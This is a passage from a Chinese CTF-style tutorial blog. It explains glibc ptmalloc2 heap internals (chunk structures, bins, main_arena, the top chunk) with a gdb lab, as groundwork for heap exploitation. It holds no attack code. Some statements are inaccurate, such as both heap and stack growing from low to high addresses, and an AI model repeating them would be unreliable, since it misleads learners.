title="0x02：总结"></a>0x02：总结</h3><p>这个脚本可以保存一份，以后遇到类似的题目可以直接套用脚本</p><p><strong>参考链接</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://bbs.pediy.com/thread-227034.htm</span><br></pre></td></tr></table></figure><h1 id="0x02：Heap-Attack"><a href="#0x02：Heap-Attack" class="headerlink" title="0x02：Heap Attack"></a>0x02：Heap Attack</h1><h2 id="Glibc-Heap"><a href="#Glibc-Heap" class="headerlink" title="Glibc Heap"></a>Glibc Heap</h2><p>本文实验环境主要是在Linux下，对Linux的堆知识进行整理和总结，也算是对许多资料的一个整理，和Windows相比，Linux下的堆管理机制并没有那么的严谨，导致了许多攻击的产生，下面就从概念开始分析Linux堆管理机制</p><h3 id="堆定义"><a href="#堆定义" class="headerlink" title="堆定义"></a>堆定义</h3><p>在程序运行过程中，堆可以提供动态分配的内存，允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域。我们一般称管理堆的那部分程序为堆管理器，与栈不同的是堆由<strong>低地址向高地址方向增长</strong>，而栈由低地址向高地址方向增长。下面这张图可以很清楚的说明：</p><p><img src="/2020/02/09/Linux-Pwn-Learning/1.png" alt="1"></p><p>注:本文提到的堆是基于<strong>glibc 库下的 ptmalloc2堆管理器</strong></p><h3 id="堆相关数据结构"><a href="#堆相关数据结构" class="headerlink" title="堆相关数据结构"></a>堆相关数据结构</h3><h4 id="malloc-chunk"><a href="#malloc-chunk" class="headerlink" title="malloc_chunk"></a>malloc_chunk</h4><p>我们首先来看堆结构的源码，这里我们申请的每一个堆即是一个chunk结构，它有个名字叫做<code>malloc_chunk</code>，非常有意思的是，<strong>无论一个 chunk 的大小如何，处于分配状态还是释放状态，它们都使用一个统一的结构</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">  This struct declaration is misleading (but accurate and necessary).</span></span><br><span class="line"><span class="comment">  It declares a "view" into memory allowing access to necessary</span></span><br><span class="line"><span class="comment">  fields at known offsets from a given base. See explanation below.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span> &#123;</span></span><br><span class="line"></span><br><span class="line">  INTERNAL_SIZE_T      prev_size;  <span class="comment">/* Size of previous chunk (if free).  */</span></span><br><span class="line">  INTERNAL_SIZE_T      size;       <span class="comment">/* Size in bytes, including overhead. */</span></span><br><span class="line"></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">fd</span>;</span>         <span class="comment">/* double links -- used only if free. */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">bk</span>;</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">/* Only used for large blocks: pointer to next larger size.  */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">fd_nextsize</span>;</span> <span class="comment">/* double links -- used only if free. */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">bk_nextsize</span>;</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>各个字段解释如下</p><ul><li><p><strong>prev_size</strong></p><p>负责记录前一块chunk的大小，<strong>只有在前面一个堆块是空闲的时候才有值</strong>。前面一个堆块在使用时，他的值始终为 0</p></li><li><p><strong>size</strong></p><p>记录该 chunk 的大小，大小必须是 2 <em> SIZE_SZ 的整数倍。如果申请的内存大小不是 2 </em> SIZE_SZ 的整数倍，会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中，SIZE_SZ 是 4；64 位系统中，SIZE_SZ 是 8。 该字段的低三个比特位有如下的作用</p><ul><li>NON_MAIN_ARENA，记录当前 chunk 是否不属于主线程，1 表示不属于，0 表示属于。</li><li>IS_MAPPED，记录当前 chunk 是否是由 mmap 分配的。</li><li>PREV_INUSE，记录前一个 chunk 块是否被分配。一般来说，堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1，以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时，我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。</li></ul></li><li><p><strong>fd，bk</strong></p><p>chunk 处于分配状态时，从 fd 字段开始是用户的数据。chunk 空闲时，会被添加到对应的空闲管理链表中，其字段的含义如下</p><ul><li>fd 指向下一个（非物理相邻）空闲的 chunk</li><li>bk 指向上一个（非物理相邻）空闲的 chunk</li><li>通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理</li></ul></li><li><p><strong>fd_nextsize， bk_nextsize</strong></p><p>也是只有 chunk 空闲的时候才使用，不过其用于较大的 chunk（large chunk）。</p><ul><li>fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块，不包含 bin 的头指针。</li><li>bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块，不包含 bin 的头指针。</li><li>一般空闲的 large chunk 在 fd 的遍历顺序中，按照由大到小的顺序排列。<strong>这样做可以避免在寻找合适 chunk 时挨个遍历。</strong></li></ul></li></ul><h4 id="Allocated-chunk"><a href="#Allocated-chunk" class="headerlink" title="Allocated chunk"></a>Allocated chunk</h4><p>一个已经分配的chunk以及后一块chunk状态如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             Size of previous chunk, if unallocated (P clear)  |</span><br><span class="line">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             Size of chunk, in bytes                     |A|M|P|</span><br><span class="line">  mem-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             User data starts here...                          .</span><br><span class="line">        .                                                               .</span><br><span class="line">        .             (malloc_usable_size() bytes)                      .</span><br><span class="line">next    .                                                               |</span><br><span class="line">chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             (size of chunk, but used for application data)    |</span><br><span class="line">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             Size of next chunk, in bytes                |A|0|1|</span><br><span class="line">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br></pre></td></tr></table></figure><h4 id="Freed-chunk"><a href="#Freed-chunk" class="headerlink" title="Freed chunk"></a>Freed chunk</h4><p>被释放的 chunk 被记录在链表中，可能是循环双向链表，也可能是单向链表，状态如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             Size of previous chunk, if unallocated (P clear)  |</span><br><span class="line">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">`head:&apos; |             Size of chunk, in bytes                     |A|0|P|</span><br><span class="line">  mem-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             Forward pointer to next chunk in list             |</span><br><span class="line">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             Back pointer to previous chunk in list            |</span><br><span class="line">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             Unused space (may be 0 bytes long)                .</span><br><span class="line">        .                                                               .</span><br><span class="line"> next   .                                                               |</span><br><span class="line">chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">`foot:&apos; |             Size of chunk, in bytes                           |</span><br><span class="line">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br><span class="line">        |             Size of next chunk, in bytes                |A|0|0|</span><br><span class="line">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span><br></pre></td></tr></table></figure><h4 id="malloc大小计算"><a href="#malloc大小计算" class="headerlink" title="malloc大小计算"></a>malloc大小计算</h4><p>对于正在使用的 chunk，它的下一个 chunk 的 prev_size 是无效的，这块内存也可以被当前 chunk 使用，这也就存在了空间的复用，因此对于使用中的 chunk 大小计算公式是：<code>chunk_size = （用户请求大小 + (2 -1) * sizeof(INTERNAL_SIZE_T)) aligh to 2 * sizeof(size_t)</code></p><p>比如我们在64位系统中 </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">malloc</span>(<span class="number">8</span>)</span><br><span class="line"><span class="comment">// 申请到的chunk: 16 + 8 + 8 + 1 = 0x21</span></span><br></pre></td></tr></table></figure><ol><li>第一个 16 字节是<strong>系统最小分配的内存</strong>，也就是说你如果想要申请的内存小于系统最小分配的内存的话，就会按照最小的内存来分配，在 64 位系统中这个值是 16 个字节，在 32 位系统中是 8 个字节，如果代码中是 malloc(0) 的话，<strong>堆管理器也会分配最小内存空间给你</strong></li><li>第二个 8 字节是 pre size 字段的大小（32 位的为 4 字节）</li><li>第三个 8 字节为 size 字段的大小（32 位的为 4 字节）</li><li>最后一个 1 字节是 <strong>PREV_INUSE </strong>的值，只有 0 或 1两个值</li></ol><h4 id="lab"><a href="#lab" class="headerlink" title="lab"></a>lab</h4><p>为了搞清楚堆的结构我们首先做一个实验，构造如下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> *p;</span><br><span class="line">    p = <span class="built_in">malloc</span>(<span class="number">10</span>);</span><br><span class="line"><span class="built_in">memcpy</span>(p,<span class="string">"aaaaa"</span>,<span class="number">5</span>);</span><br><span class="line"><span class="built_in">free</span>(p);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序先用malloc函数申请了一块内存，然后向内存中拷贝了5个a，最后释放了这块内存，我们在gdb中观察堆的结构，我们首先运行到malloc函数，用vmmap观察内存布局，这里没有生成堆</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">    0x555555554000     0x555555555000 r-xp     1000 0      /home/thunder/Desktop/codes/ctf/pwn/heap/heap1</span><br><span class="line">    0x555555754000     0x555555755000 r--p     1000 0      /home/thunder/Desktop/codes/ctf/pwn/heap/heap1</span><br><span class="line">    0x555555755000     0x555555756000 rw-p     1000 1000   /home/thunder/Desktop/codes/ctf/pwn/heap/heap1</span><br><span class="line">    0x7ffff7a3a000     0x7ffff7bcf000 r-xp   195000 0      /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">    0x7ffff7bcf000     0x7ffff7dcf000 ---p   200000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">    0x7ffff7dcf000     0x7ffff7dd3000 r--p     4000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">    0x7ffff7dd3000     0x7ffff7dd5000 rw-p     2000 199000 /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">    0x7ffff7dd5000     0x7ffff7dd9000 rw-p     4000 0      </span><br><span class="line">    0x7ffff7dd9000     0x7ffff7dfc000 r-xp    23000 0      /usr/lib/x86_64-linux-gnu/ld-2.24.so</span><br><span class="line">    0x7ffff7fd6000     0x7ffff7fd8000 rw-p     2000 0      </span><br><span class="line">    0x7ffff7ff4000     0x7ffff7ff7000 rw-p     3000 0      </span><br><span class="line">    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]</span><br><span class="line">    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]</span><br><span class="line">    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 23000  /usr/lib/x86_64-linux-gnu/ld-2.24.so</span><br><span class="line">    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 24000  /usr/lib/x86_64-linux-gnu/ld-2.24.so</span><br><span class="line">    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      </span><br><span class="line">    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]</span><br><span class="line">0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]</span><br></pre></td></tr></table></figure><p>我们单步一下，观察malloc函数之后的返回值，即rax中保存的值，也就是指向我们chunk的地址，需要注意的是这里<strong>malloc函数返回的指针指向的是我们chunk中的user data(用户数据区)</strong>，我们继续用vmmap观察内存布局，此时已经可以看到我们申请的heap区，然而系统却给了我们大小<code>0x555555777000 - 0x555555756000 = 21000‬</code>的空间，这并不是系统在浪费资源，这是一种提高效率的做法，在下一次我们申请内存的时候就从这块内存里直接取，当这一块内存不足的时候才会向系统索取</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">    0x555555554000     0x555555555000 r-xp     1000 0      /home/thunder/Desktop/codes/ctf/pwn/heap/heap1</span><br><span class="line">    0x555555754000     0x555555755000 r--p     1000 0      /home/thunder/Desktop/codes/ctf/pwn/heap/heap1</span><br><span class="line">    0x555555755000     0x555555756000 rw-p     1000 1000   /home/thunder/Desktop/codes/ctf/pwn/heap/heap1</span><br><span class="line">    0x555555756000     0x555555777000 rw-p    21000 0      [heap] =&gt; 我们申请的chunk</span><br><span class="line">    0x7ffff7a3a000     0x7ffff7bcf000 r-xp   195000 0      /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">    0x7ffff7bcf000     0x7ffff7dcf000 ---p   200000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">    0x7ffff7dcf000     0x7ffff7dd3000 r--p     4000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">    0x7ffff7dd3000     0x7ffff7dd5000 rw-p     2000 199000 /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">    0x7ffff7dd5000     0x7ffff7dd9000 rw-p     4000 0      </span><br><span class="line">    0x7ffff7dd9000     0x7ffff7dfc000 r-xp    23000 0      /usr/lib/x86_64-linux-gnu/ld-2.24.so</span><br><span class="line">    0x7ffff7fd6000     0x7ffff7fd8000 rw-p     2000 0      </span><br><span class="line">    0x7ffff7ff4000     0x7ffff7ff7000 rw-p     3000 0      </span><br><span class="line">    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]</span><br><span class="line">    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]</span><br><span class="line">    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 23000  /usr/lib/x86_64-linux-gnu/ld-2.24.so</span><br><span class="line">    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 24000  /usr/lib/x86_64-linux-gnu/ld-2.24.so</span><br><span class="line">    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      </span><br><span class="line">    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]</span><br><span class="line">0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]</span><br></pre></td></tr></table></figure><p>我们用<code>x/20gx rax</code>查看一下我们刚才申请堆的样子，<code>0x555555756000</code>和<code>0x555555756010</code>这两排既是我们申请的堆，size是<code>0x20 + 1 = 0x21</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/10gx 0x555555756010-32</span><br><span class="line">0x555555755ff0:0x00000000000000000x0000000000000000</span><br><span class="line">0x555555756000:0x00000000000000000x0000000000000021</span><br><span class="line">0x555555756010:0x00000000000000000x0000000000000000</span><br><span class="line">0x555555756020:0x00000000000000000x0000000000020fe1</span><br><span class="line">0x555555756030:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>我们继续运行程序到memcpy函数的下一行观察我们的堆，很明显我们将aaaaa写入了我们的user data中</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/10gx 0x555555756010-32</span><br><span class="line">0x555555755ff0:0x00000000000000000x0000000000000000</span><br><span class="line">0x555555756000:0x00000000000000000x0000000000000021</span><br><span class="line">0x555555756010:0x00000061616161610x0000000000000000</span><br><span class="line">0x555555756020:0x00000000000000000x0000000000020fe1</span><br><span class="line">0x555555756030:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>我们继续运行将其释放掉，观察user data的区域已经被清空了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/10gx 0x555555756010-32</span><br><span class="line">0x555555755ff0:0x00000000000000000x0000000000000000</span><br><span class="line">0x555555756000:0x00000000000000000x0000000000000021</span><br><span class="line">0x555555756010:0x00000000000000000x0000000000000000</span><br><span class="line">0x555555756020:0x00000000000000000x0000000000020fe1</span><br><span class="line">0x555555756030:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>然而并不只是清空那么简单，系统还将把这块内存交给堆管理系统中去，方便下一次申请操作，这里我们用<code>x/10gx &amp;main_arena</code>命令发现我们的堆已经连到了main_arena + 0x8中，并且连接的是堆的头部</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/10gx &amp;main_arena</span><br><span class="line">0x7ffff7dd3b00 &lt;main_arena&gt;:0x00000000000000000x0000555555756000</span><br><span class="line">0x7ffff7dd3b10 &lt;main_arena+16&gt;:0x00000000000000000x0000000000000000</span><br><span class="line">0x7ffff7dd3b20 &lt;main_arena+32&gt;:0x00000000000000000x0000000000000000</span><br><span class="line">0x7ffff7dd3b30 &lt;main_arena+48&gt;:0x00000000000000000x0000000000000000</span><br><span class="line">0x7ffff7dd3b40 &lt;main_arena+64&gt;:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>所以我们可以总结一下free函数</p><ul><li>清空user data的数据</li><li>将此chunk放入堆管理器中</li></ul><h4 id="main-arena"><a href="#main-arena" class="headerlink" title="main_arena"></a>main_arena</h4><p>main_arena 就是 ptmalloc2 堆管理器通过与操作系统内核进行交互申请到的，也就是我们一开始申请到的那么一大块内存，因为是主线程分配的，所以叫 main_arena </p><h4 id="Top-chunk"><a href="#Top-chunk" class="headerlink" title="Top chunk"></a>Top chunk</h4><p>如果你细心的话你可能会观察到，在刚才我们申请chunk的下面始终有 0x20fe1 大小的chunk，这一块chunk非常大，程序以后分配到的内存到要放在他的后面，它的作用就是在程序在向堆管理器申请内存时，没有合适的内存空间可以分配时，此时就会从 top chunk 上借一部分作为 chunk 分配给它</p><h4 id="Last-Remainder-Chunk"><a href="#Last-Remainder-Chunk" class="headerlink" title="Last Remainder Chunk"></a>Last Remainder Chunk</h4><p>这是最近一次 small chunk 请求而产生分割后剩下的那一块 chunk，当在 small bins 和 unsorted bin  中找不到合适的 chunk时，如果 last remainder chunk 的大小大于用户请求的大小，则将其分割，返回用户所需 chunk  后，剩下的成为新的 last remainder chunk。</p><h3 id="malloc-amp-free"><a href="#malloc-amp-free" class="headerlink" title="malloc &amp; free"></a>malloc &amp; free</h3><p>malloc根据用户申请堆块的大小不同做出不同的处理。最常用的是fastbin和chunk。malloc分配时的整体顺序是如果堆块较小，属于fastbin，则在fastbin  list里寻找到一个恰当大小的堆块；如果其大小属于normal chunk，则在normal  bins里面（unsort，small，large）寻找一个恰当的堆块。如果这些bins都为空或没有分配成功，则从top  chunk指向的区域分配堆块。</p><p><strong>bins</strong></p><p>libc的堆管理机制和其他的堆管理一样，对于free的堆块，堆管理器不会立即把释放的内存还给系统，而是自己保存起来，以便下次分配使用。这样可以减少和系统内核的交互次数，提高效率。Libc中保存释放的内存的地点就是bin。bin是一个个指针，指向一个个链表（双向&amp;单向），<strong>除了 fastbin 是 LIFO 单链表的数组维护，其余的bins都是 FIFO 双向链表维护</strong>，这些链表就由释放的内存组成，下面是bins的具体分类：</p><ul><li>Fast bin</li><li>Unsorted bin</li><li>Small bin</li><li>Large bin</li></ul><h4 id="Fast-bin"><a href="#Fast-bin" class="headerlink" title="Fast bin"></a>Fast bin</h4><p>特点：</p><ul><li>大小较小</li><li>单向链表维护</li><li>不会和其他的堆块融合(PREV_INUSE始终为1)</li><li>LIFO(类似栈)</li></ul><p>引用一张图片，fastbin一共有10个单项列表，下图是32位系统下的分布，当分配一块较小的内存(memory&lt;=64 Bytes)时，会首先检查对应大小的fastbin中是否包含未被使用的chunk，如果存在则直接将其从fastbin中移除并返回；否则通过其他方式（剪切top chunk）得到一块符合大小要求的chunk并返回。也就是说，fastbin list只用了前7个进行维护</p><p><img src="/2020/02/09/Linux-Pwn-Learning/2.png" alt="1567869962341"></p><p><strong>malloc (fast chunk)</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ((<span class="keyword">unsigned</span> <span class="keyword">long</span>) (nb) &lt;= (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (get_max_fast ()))</span><br><span class="line">    &#123;</span><br><span class="line">      idx = fastbin_index (nb);  <span class="comment">// 找到nb 对应的 fastbin 的 索引 idx</span></span><br><span class="line">      mfastbinptr *fb = &amp;fastbin (av, idx);<span class="comment">// 找到对应的 fastbin 的指针</span></span><br><span class="line">      mchunkptr pp = *fb;</span><br><span class="line">      <span class="keyword">do</span></span><br><span class="line">        &#123;</span><br><span class="line">          victim = pp;</span><br><span class="line">          <span class="keyword">if</span> (victim == <span class="literal">NULL</span>)</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">      <span class="keyword">while</span> ((pp = catomic_compare_and_exchange_val_acq (fb, victim-&gt;fd, victim))</span><br><span class="line">             != victim);</span><br><span class="line">      <span class="keyword">if</span> (victim != <span class="number">0</span>) <span class="comment">//如果 fastbin 非空，就进入这里</span></span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">if</span> (__builtin_expect (fastbin_index (chunksize (victim)) != idx, <span class="number">0</span>))<span class="comment">// 判断大小是否满足 fastbin相应bin的大小要求</span></span><br><span class="line">            &#123;</span><br><span class="line">              errstr = <span class="string">"malloc(): memory corruption (fast)"</span>;</span><br><span class="line">            errout:</span><br><span class="line">              malloc_printerr (check_action, errstr, chunk2mem (victim), av);</span><br><span class="line">              <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">            &#125;</span><br><span class="line">          check_remalloced_chunk (av, victim, nb);</span><br><span class="line">          <span class="keyword">void</span> *p = chunk2mem (victim);</span><br><span class="line">          alloc_perturb (p, bytes);</span><br><span class="line">          <span class="keyword">return</span> p;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>在初始化时 fast bin 支持的最大内存大小以及所有 fast bin 链表都是空的，所以即使用户申请了一个 fast  chunk，它也不会交由 fast bin 来处理，而是向下传递交由 small bin 来处理，如果 small bin 也为空的话就交给  unsorted bin 来处理。</p><p>那么 fast bin 是在哪？怎么进行初始化的呢？当我们第一次调用 malloc (fast chunk) 的时候，系统执行  _int_malloc 函数，该函数首先会发现当前 fast bin 为空，就转交给 small bin 处理，进而又发现 small bin  也为空，就调用 malloc_consolidate 函数对 malloc_state 结构体进行初始化， malloc_consolidate  函数主要完成以下几个功能：</p><ol><li>首先判断当前 malloc_state 结构体中的 fast bin 是否为空，如果为空就说明整个 malloc_state 都没有完成初始化，   需要对 malloc_state 进行初始化。</li><li>malloc_state 的初始化操作由函数 malloc_init_state(msate av) 完成，该函数先初始化除 fast bin 之外的所有 bins   （构建双链表），再初始化 fast bins。</li></ol><p>之后当 fast bin 中的相关数据不为空了，就开始使用 fast bin。</p><p>得到第一个来自于 fast bin 的 chunk 之后，系统就将该 chunk 从对应的 fast bin 中移除，并将其地址返回给用户。</p><p><strong>free (fast chunk)</strong></p><p>先通过 chunksize 函数根据传入的地址指针对应的 chunk 的大小，然后根据这个 chunk 的大小获取该 chunk 所属的 fast bin，然后再将此 chunk 添加到该 fast bin 的链尾。</p><p><img src="/2020/02/09/Linux-Pwn-Learning/3.png" alt="3"></p><h4 id="Unsorted-bin"><a href="#Unsorted-bin" class="headerlink" title="Unsorted bin"></a>Unsorted bin</h4><p>除了fastbin以外，堆块释放后堆块会被放到malloc_state结构的bins数组中，分布如下</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Bin[0] -&gt; 不存在</span><br><span class="line">Bin[1] –&gt; Unsorted bin</span><br><span class="line">Bin[2] to Bin[63] –&gt; Small bin</span><br><span class="line">Bin[64] to Bin[126] –&gt; Large 